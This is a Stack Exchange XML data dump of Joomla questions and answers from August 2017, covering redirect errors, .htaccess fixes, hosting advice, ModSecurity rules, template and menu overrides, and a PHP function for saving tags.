  <row Id="21366" PostTypeId="1" CreationDate="2017-08-18T21:06:13.453" Score="0" ViewCount="2426" Body="&lt;p&gt;I am new at using Joomla and trying to learn the program for a class I m currently taking.  I apologize for asking this question again but I am still not clear based on the answer given to previous questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was initially using Joomla 3.7 and upgraded today to 3.7.5, also started creating categories, menus and articles.  When I tried viewing the frontend I got the localhost redirect too many times error.  Up to last evening the frontend worked fine it just started this error today.  I am also using XAMPP as the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I attempted to make sense of the  htaccess file and see if I could enter the code to stop the redirect, but I was not 100% clear as to where that goes.  Can someone please assist me.  I will really like to get the hang of this software.&lt;/p&gt;&#xA;" OwnerUserId="11448" LastActivityDate="2017-10-04T21:22:30.063" Title="Error loading Joomla Frontend - localhost redirect error (ERR_TOO_MANY_REDIRECTS)" Tags="|redirect|localhost|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21367" PostTypeId="2" ParentId="17305" CreationDate="2017-08-19T00:55:05.753" Score="3" Body="&lt;p&gt;I had this error after a reboot on one site of 12 on my server. All my sites are Joomla. We recently upgraded to php7.1 I tried everything then found the fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fix was to comment out the suPHP line in .htaccess. &#xA;Remember to show hidden files to find the .htaccess in the root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DirectoryIndex index.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#&amp;lt;IfModule mod_suphp.c&amp;gt;&#xA;#  suPHP_ConfigPath /home/myusername/public_html/yourJ3folder&#xA;#  &amp;lt;Files php.ini&amp;gt;&#xA;#    order allow,deny&#xA;&#xA;#    deny from all&#xA;#  &amp;lt;/Files&amp;gt;&#xA;#&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11449" LastEditorDisplayName="user3831" LastEditDate="2017-08-19T04:15:09.257" LastActivityDate="2017-08-19T04:15:09.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21368" PostTypeId="2" ParentId="16377" CreationDate="2017-08-19T04:21:19.933" Score="2" Body="&lt;p&gt;Our experience is different with SiteGround, and I'm not sure I can recommend it the same way it is recommend it by others. In fact, we don't recommend any of the mainstream hosting providers to our clients (those with &quot;gator&quot;, &quot;monster&quot;, &quot;ground&quot;, &quot;daddy&quot;, &quot;temple&quot;, and &quot;cloud&quot; in their domain), simply because they have the small client in mind and so: 1) they have all these draconian firewall rules, 2) they have aggressive caching methods, 3) it is often hard to get a real support person, and 4) they don't take the client's business seriously. (Note: I can easily elaborate on all of these 4 points.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a good idea to search for a host which does not serve small clients, and only caters for medium to large clients. It is also a good idea to stick with a host in North America (avoid all these hosts that are based in Europe or Asia). Finally (for this subject), it is important that you choose a WHM based environment (make sure you have the root password). I have no idea why there are many servers using Plesk/Webmin/Other, which are a huge pain to work with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, going back to your original question, unless I am very mistaken, you will not be able to get this working with a shared hosting package. 500,000 /month is around 15,000/day, which is a lot, for a Joomla website. You will need a dedicated server, with at least 16GB of RAM. You will also need to &lt;a href=&quot;http://www.itoctopus.com/mysql-innodb-optimization-for-large-joomla-websites&quot; rel=&quot;nofollow noreferrer&quot;&gt;use InnoDB for your Joomla database&lt;/a&gt; as MyISAM is unreliable and slow (by the way, MyISAM used to be faster than InnoDB, but now it is no longer the case). Now, once your website is up, you will need to constantly monitor your slow query log and optimize any queries with the problem (optimize the core when you must). Always ensure that your load average is less than 2. Ideally, it should be less than 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, by any chance, you get your Joomla website to work on a shared host, then you are likely paying for a shared host more than you are paying for a dedicated server, or it might be that your host is using some aggressive caching tactics that will make the management of your Joomla website a complete mess and an experience in misery.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-08-19T04:21:19.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21369" PostTypeId="2" ParentId="21366" CreationDate="2017-08-19T04:28:14.020" Score="1" Body="&lt;p&gt;Try disabling your &lt;code&gt;.htaccess&lt;/code&gt; file and see if that helps. If that doesn't help, then you are likely using an SEF plugin that is causing this mess. If disabling (renaming) your &lt;code&gt;.htaccess&lt;/code&gt; file fixes the problem, then this might be caused by 1) a hardcoded redirect to https when your Joomla website is already doing that or 2) a wrong redirect rule.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-08-19T04:28:14.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21370" PostTypeId="2" ParentId="16692" CreationDate="2017-08-19T04:40:35.583" Score="0" Body="&lt;p&gt;As the previous answer stated, the &lt;code&gt;start_date&lt;/code&gt; parameter is not sent through the &lt;code&gt;data&lt;/code&gt; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, I don't know why are querying the server for this simple task - you can do this at the client's end. See &lt;a href=&quot;https://stackoverflow.com/questions/11343939/how-to-add-weeks-to-date-using-javascript&quot;&gt;this SO answer&lt;/a&gt; about this.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-08-19T04:40:35.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21371" PostTypeId="2" ParentId="21153" CreationDate="2017-08-19T04:47:16.090" Score="1" Body="&lt;p&gt;Assuming you have updated all the extensions on your site as well, what do you see if you set the error reporting to &quot;Maximum&quot; in your configuration settings? Do you see an actual error or the same &quot;Internal Server Error&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it might be that your server configuration changes are not taking effect, it is a good idea to check with your host to see if they are working or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One last thing, have you tried tinkering with your mail settings in the global configuration?&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-08-19T04:47:16.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21372" PostTypeId="2" ParentId="21145" CreationDate="2017-08-19T05:05:08.863" Score="1" Body="&lt;p&gt;This is weird. &lt;code&gt;raw&lt;/code&gt; simply returns the value of the field with no filtering whatsoever (see &lt;code&gt;libraries/joomla/filter/input.php&lt;/code&gt;). However, it might be that there is some other filtering done before or after your code. Check to see if $_GET['sports'] has the same problem, if it does, then it is likely caused by a server setting somewhere. If it doesn't, then the culprit is either the Joomla core or a Joomla plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can always use $_GET to retrieve your values, but make sure you do the proper filtering on the values retrieved in order to prevent an attack.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-08-19T05:05:08.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21373" PostTypeId="2" ParentId="21124" CreationDate="2017-08-19T05:12:40.737" Score="1" Body="&lt;p&gt;If you go to &lt;code&gt;phpMyAdmin&lt;/code&gt;, and you check the &lt;code&gt;create_date&lt;/code&gt; for that article, then what do you see? Is it &quot;0000-00-00 00:00&quot;? If it is, then try changing it to a real date and see if that helps solve the problem. If it doesn't, then please comment here.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-08-19T05:12:40.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21374" PostTypeId="2" ParentId="21054" CreationDate="2017-08-19T05:29:02.597" Score="1" Body="&lt;p&gt;It is likely a ModSecurity rule being triggered. This ModSecurity rule is triggered when PCRE engine limits are exceeded. You will need to whitelist that rule. See &lt;a href=&quot;http://www.itoctopus.com/internal-server-error-when-trying-to-save-content-on-a-joomla-website&quot; rel=&quot;nofollow noreferrer&quot;&gt;this post&lt;/a&gt; about this. Alternatively, you can increase your ModSecurity PCRE limits, but this will likely increase the impact of a DoS attack, as PCRE matching is heavy on the system.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-08-19T05:29:02.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21375" PostTypeId="2" ParentId="21028" CreationDate="2017-08-19T05:49:40.577" Score="1" Body="&lt;p&gt;This might be caused by one of your plugins. Try disabling your plugins one by one until the response time increases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't help, then scan your website for anything malicious, it might be hacked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked CloudFlare's article &quot;Stop Worrying About Time to First Byte&quot; (the link to the article is in the previous answer), and I certainly don't agree with their motives in writing the article. The only reason they are doing so is to justify their relatively high TTFB, and not because TTFB is &quot;meaningless&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TTFB is same as server response time, and is measured in microsends in Google's Search Console, and there's actually a chart about it in Google's Search Console (I think in the &quot;Crawl Stats&quot; page). It is important (that's why Google constantly monitors it and alerts you if it's too high) and don't let CloudFlare or other firms with specific agendas tell you otherwise.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-08-19T05:49:40.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21377" PostTypeId="1" CreationDate="2017-08-19T11:38:26.157" Score="2" ViewCount="818" Body="&lt;p&gt;I want the full image of an article to use the value of an alt attribute in a title attribute, too. I have been searching everywhere and just can't find the correct file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file which provides the image to be shown is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/components/com_content/views/article/tmpl/default.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I delete this part:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JLayoutHelper::render('joomla.content.full_image', $this-&amp;gt;item); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The image doesn't get rendered anymore. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I edit the HTML of it, so I can copy&amp;amp;paste the variable which is used for the img alt attribute into the title attribute?&lt;/p&gt;&#xA;" OwnerUserId="11453" LastEditorUserId="126" LastEditDate="2017-08-21T09:11:50.410" LastActivityDate="2017-08-21T09:11:50.410" Title="Adding a title attribute on the image tag - How to customize article's full image layout?" Tags="|joomla-3.x|articles|template-override|layout|images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21379" PostTypeId="2" ParentId="21377" CreationDate="2017-08-19T17:55:18.437" Score="1" Body="&lt;p&gt;The file you are looking for is located in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[ROOT_DIRECTORY]/layouts/joomla/content/full_image.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To create an override for it, copy it and place it inside:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[ROOT_DIRECTORY]/templates/YOUR_TEMPLATE/html/layouts/joomla/content/full_image.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There you can modify it as you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To learn more on layouts and overrides read here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Layout_Overrides_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Layout Overrides&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-08-19T19:44:00.853" LastActivityDate="2017-08-19T19:44:00.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21380" PostTypeId="1" AcceptedAnswerId="21382" CreationDate="2017-08-21T07:02:33.193" Score="1" ViewCount="1682" Body="&lt;p&gt;I'm using fullpage.js with joomla 3.7.5. I try to put class active on my menu item, when I scroll to the specific section. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the docs, to let fullPage.js know about the menu, I need to link the menu items to the relevant sections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, I must add the data-menuanchor attribute to menu items with the respective links as the values. As long as those values match, the plugin appends the active class (as we scroll) to the corresponding menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My menu has that stracture:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;menu navbar-nav&quot;&amp;gt;&#xA;&amp;lt;li class=&quot;nav-item item-103 current active&quot;&amp;gt;&amp;lt;a class=&quot;active nav-link&quot; href=&quot;/example/index.php/&quot;&amp;gt;Αρχική&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;nav-item item-104&quot;&amp;gt;&amp;lt;a href=&quot;#profile&quot; class=&quot;nav-link&quot;&amp;gt;profile&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;nav-item item-105&quot;&amp;gt;&amp;lt;a href=&quot;#about&quot; class=&quot;nav-link&quot;&amp;gt;about&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;nav-item item-106&quot;&amp;gt;&amp;lt;a href=&quot;#skills&quot; class=&quot;nav-link&quot;&amp;gt;skills&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;nav-item item-107&quot;&amp;gt;&amp;lt;a href=&quot;#experience&quot; class=&quot;nav-link&quot;&amp;gt;experience&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;nav-item item-108&quot;&amp;gt;&amp;lt;a href=&quot;#education&quot; class=&quot;nav-link&quot;&amp;gt;education&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;nav-item item-109&quot;&amp;gt;&amp;lt;a href=&quot;#projects&quot; class=&quot;nav-link&quot;&amp;gt;projects&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;nav-item item-110&quot;&amp;gt;&amp;lt;a href=&quot;#testimonials&quot; class=&quot;nav-link&quot;&amp;gt;testimonials&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;nav-item item-118&quot;&amp;gt;&amp;lt;a href=&quot;#contact&quot; class=&quot;nav-link&quot;&amp;gt;contact&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I try to find a way to insert data-menuanchor=&quot;menu anchor name&quot; to every li tag of menu. This is the menu I try to have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;ul class=&quot;menu navbar-nav&quot;&amp;gt;&#xA;    &amp;lt;li data-menuanchor=&quot;profile&quot; class=&quot;nav-item item-104&quot;&amp;gt;&amp;lt;a href=&quot;#profile&quot; class=&quot;nav-link&quot;&amp;gt;profile&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li data-menuanchor=&quot;about&quot; class=&quot;nav-item item-105&quot;&amp;gt;&amp;lt;a href=&quot;#about&quot; class=&quot;nav-link&quot;&amp;gt;about&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li data-menuanchor=&quot;skills&quot; class=&quot;nav-item item-106&quot;&amp;gt;&amp;lt;a href=&quot;#skills&quot; class=&quot;nav-link&quot;&amp;gt;skills&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li data-menuanchor=&quot;experience&quot; class=&quot;nav-item item-107&quot;&amp;gt;&amp;lt;a href=&quot;#experience&quot; class=&quot;nav-link&quot;&amp;gt;experience&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li data-menuanchor=&quot;education&quot; class=&quot;nav-item item-108&quot;&amp;gt;&amp;lt;a href=&quot;#education&quot; class=&quot;nav-link&quot;&amp;gt;education&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;     .........&#xA;     .....&#xA;    &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I insert data-menuanchor=&quot;menu anchor name&quot; on every li tag?&lt;/p&gt;&#xA;" OwnerUserId="8538" LastEditorUserId="126" LastEditDate="2017-08-21T09:06:32.073" LastActivityDate="2017-08-21T09:15:25.097" Title="Active menu items on page scroll with fullpage.js" Tags="|jquery|menu|menu-item|overrides|template-override|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21381" PostTypeId="1" CreationDate="2017-08-21T07:25:09.983" Score="-2" ViewCount="36" Body="&lt;p&gt;I am using the FutureProspect template on my Joomla website. The only issue what I am facing is the availability of the following effect, which is irritating on the mobile effect:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wycpN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wycpN.png&quot; alt=&quot;Issue&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Kindly let me know how I can avoid this menu from the FutureProspect theme of Joomla.&lt;/p&gt;&#xA;" OwnerUserId="11456" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-08-22T08:03:39.930" Title="FutureProspect Theme How to deactivate the top toggling effect?" Tags="|joomla-2.5|templates|javascript|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21382" PostTypeId="2" ParentId="21380" CreationDate="2017-08-21T08:58:45.013" Score="2" Body="&lt;p&gt;You need to override the output of your menu module. Assuming you are using the Joomla core mod_menu, then:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy the &lt;code&gt;default.php&lt;/code&gt; from &lt;code&gt;modules/mod_menu/tmpl/&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Paste it to &lt;code&gt;templates/YOUR_TEMPLATE/html/mod_menu/&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Edit the override file that you just copied:&lt;/p&gt;&#xA;&lt;p&gt;Around line 69, change:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; echo '&amp;lt;li class=&amp;quot;' . $class . '&amp;quot;&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; echo '&amp;lt;li data-menuanchor=&amp;quot;' . $item-&amp;gt;alias . '&amp;quot; class=&amp;quot;' . $class . '&amp;quot;&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Overrides Useful Links:&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;Understanding Output Overrides&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Layout_Overrides_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;Layout Overrides in Joomla&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;How to override the output from the Joomla core&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-08-21T09:15:25.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21383" PostTypeId="2" ParentId="21381" CreationDate="2017-08-21T09:05:21.953" Score="1" Body="&lt;p&gt;FutureProspect isn't a core or a widely known/standard template or template framework. It's impossible for us to know how it works, what features it has etc, and even more impossible to understand the issue you are having with an effect from the screenshot you posted. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Some essential suggestions:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Usually templates have settings to enable/disable certain features. Have you searched in its admin UI?  &lt;/li&gt;&#xA;&lt;li&gt;Read the documentation of the template  &lt;/li&gt;&#xA;&lt;li&gt;Contact the developers/provider of the template  &lt;/li&gt;&#xA;&lt;li&gt;Share a link to the website for us, with steps to reproduce the issue  so we can introspect the template and maybe give you some additional suggestions on the issue.&lt;/li&gt;&#xA;&lt;li&gt;I see in your tags Joomla 2.5. Joomla 2.5 has reached its end of support since long time ago. Is outdated, non-supported and non secure. You should upgrade to Joomla 3 as soon as you can, which apart of the security, comes with a ton of new features and improvements.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-08-21T09:31:31.310" LastActivityDate="2017-08-21T09:31:31.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21384" PostTypeId="1" CreationDate="2017-08-21T12:08:46.690" Score="1" ViewCount="28" Body="&lt;p&gt;That's the structure to a custom component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/frive.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/frive.png&quot; alt=&quot;Archive list&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The installation is OK, but Joomla don't detect the languages that I have to that component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is the structure to my xml file.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/8z7HW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8z7HW.png&quot; alt=&quot;structure xml file&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11457" LastActivityDate="2017-08-21T12:08:46.690" Title="When I install a custom component, language is installed but jomla not detect" Tags="|custom-component|language|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21385" PostTypeId="1" CreationDate="2017-08-21T15:18:50.563" Score="0" ViewCount="459" Body="&lt;p&gt;I am trying to install joomla 3.7.5. I am facing an Error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error: Incorrect table definition; there can be only one auto column and it must be defined as a key&#xA;The table '#__update_sites_extensions' is full&#xA;The table '#__update_sites' is full&#xA;The table '#__updates' is full&#xA;The table '#__ucm_history' is full&#xA;The table '#__ucm_content' is full&#xA;The table '#__ucm_base' is full&#xA;The table '#__template_styles' is full&#xA;The table '#__tags' is full&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can easily install on my Localhost and another server. &lt;/p&gt;&#xA;" OwnerUserId="7107" LastEditorUserId="115" LastEditDate="2017-08-21T22:59:04.373" LastActivityDate="2017-08-25T06:07:15.237" Title="Error: Incorrect table definition; there can be only one auto column and it must be defined as a key" Tags="|installation|sql|joomla-3.7|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21388" PostTypeId="1" CreationDate="2017-08-22T09:34:38.037" Score="1" ViewCount="69" Body="&lt;p&gt;I have disabled my cache of teh Joomla website. Now the Zoo Component needs that cache for storing purpose. But I thought it will not get reflected anywhere apart from the admin console. But I could see it infront of my webpage. I look for some disable option but could not find any. Kindly help me in getting rid of the notification of the ZOO from my front page.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It look like the following:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/1EjyJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1EjyJ.png&quot; alt=&quot;issue&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11456" LastActivityDate="2017-08-22T11:33:22.833" Title="Joomla Zoo Component error get displayed on Front Page" Tags="|component|zoo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21389" PostTypeId="2" ParentId="16822" CreationDate="2017-08-22T10:06:22.400" Score="1" Body="&lt;p&gt;For Joomla 3.7.x and every custom component, I took the answer from @liz and put the code in a separate function which you can call from everywhere and use it everywhere you want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I moved the User-factory above the foreach, because we just need to call it once, not for every loop.&#xA;And I removed the &lt;code&gt;$canDo&lt;/code&gt;, because it is not working, as &lt;code&gt;TagsHelper&lt;/code&gt; is not available like this. Perhaps this can be done with any other access-control-check?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function saveJoomlaTags($tags, $created_by_alias=&quot;&quot;, $note=&quot;&quot;) {&#xA;&#xA;        // Load the tags model.&#xA;            require_once JPATH_ADMINISTRATOR . '/components/com_tags/models/tag.php';&#xA;            JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_tags/tables');&#xA;&#xA;        // Get an instance of the table for insertion the new tags&#xA;            $tagsModel = TagsModelTag::getInstance('Tag','TagsModel');&#xA;&#xA;        // If tags is not an array, return nothing.&#xA;            if ( !is_array($tags) ) {&#xA;                return &quot;&quot;;&#xA;            } &#xA;&#xA;        $user = JFactory::getUser();&#xA;        $return = array();&#xA;&#xA;        // &quot;Allow user creation&quot; mode must be activated (default) in the component creation field&#xA;        // Save the tags does not exist into the table tags and get its id for save the entire Item with the proper data&#xA;            foreach ($tags as $singleTag) {&#xA;                // every custom-entered tag starts with &quot;#new#&quot;, every exsting tag is the ID.&#xA;                    if ( !strBeginsWith($singleTag, &quot;#new#&quot;)) { // see pm_helper.&#xA;                        $return[] = intval($singleTag);&#xA;                        continue;&#xA;                    }&#xA;&#xA;                // A new Tag must be saved to the DB first.&#xA;                    $tagName        = str_replace(&quot;#new#&quot;, &quot;&quot;, $singleTag);&#xA;                    $tagAlias       = $tagPath = preg_replace('/\W+/', '-', $tagName); // Tags alias filter&#xA;                    $tagMetadata    = array();&#xA;                    $tagMetadata[&quot;author&quot;]  = &quot;&quot;;&#xA;                    $tagMetadata[&quot;robots&quot;]  = &quot;&quot;;&#xA;                    $tagMetadata[&quot;tags&quot;]    = &quot;&quot;;&#xA;&#xA;&#xA;                // The data tag field row&#xA;                    $data = array(&#xA;                            &quot;parent_id&quot; =&amp;gt; 0&#xA;                            , &quot;path&quot; =&amp;gt; $tagPath&#xA;                            , &quot;title&quot; =&amp;gt; $tagName&#xA;                            , &quot;alias&quot; =&amp;gt; $tagAlias&#xA;                            , &quot;created_by_alias&quot; =&amp;gt; $created_by_alias&#xA;                            , &quot;created_user_id&quot; =&amp;gt; $user-&amp;gt;id&#xA;                            , &quot;published&quot; =&amp;gt; 1&#xA;                            , &quot;language&quot; =&amp;gt; &quot;*&quot;&#xA;                            , &quot;checked_out&quot;=&amp;gt; 0&#xA;                            , &quot;metadata&quot; =&amp;gt; json_encode($tagMetadata)&#xA;                            , &quot;note&quot; =&amp;gt; $note&#xA;                    );&#xA;&#xA;                // Finally, store the tag if the user is granted for that&#xA;                    $table = $tagsModel-&amp;gt;getTable();&#xA;                    $table-&amp;gt;bind($data) ? $table-&amp;gt;store($data) : print &quot;Fehler beim Speichern der Tags. Siehe &quot;.__FILE__.__LINE__;&#xA;                    $return[] = $table-&amp;gt;id; // And store the insert_id                       &#xA;&#xA;            } // foreach &#xA;&#xA;        // Override the tags array, because we should need to change the id before field saving&#xA;        // The field in database will look like &quot;299,345,567,567&quot;&#xA;            $return = implode(',',$return);&#xA;&#xA;        return $return; // a list of IDs.&#xA;&#xA;    } // saveItemTags()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will also need this helper function &quot;strBeginsWith&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function strBeginsWith($str, $beginsWith) {&#xA;       if (strpos($str, $beginsWith) === 0) {&#xA;           return true;&#xA;       }&#xA;       return false;&#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11459" LastEditorUserId="12352" LastEditDate="2018-11-29T06:58:42.480" LastActivityDate="2018-11-29T06:58:42.480" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21390" PostTypeId="2" ParentId="21388" CreationDate="2017-08-22T11:33:22.833" Score="1" Body="&lt;p&gt;Zoo uses cache for its operations. It is trying to create its own cache subfolder inside the cache folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you say you disabled the cache for the website, did you also removed the cache folder? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure there is a cache folder in the root directory and that it has proper permissions. Then zoo should be able to work properly.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-08-22T11:33:22.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
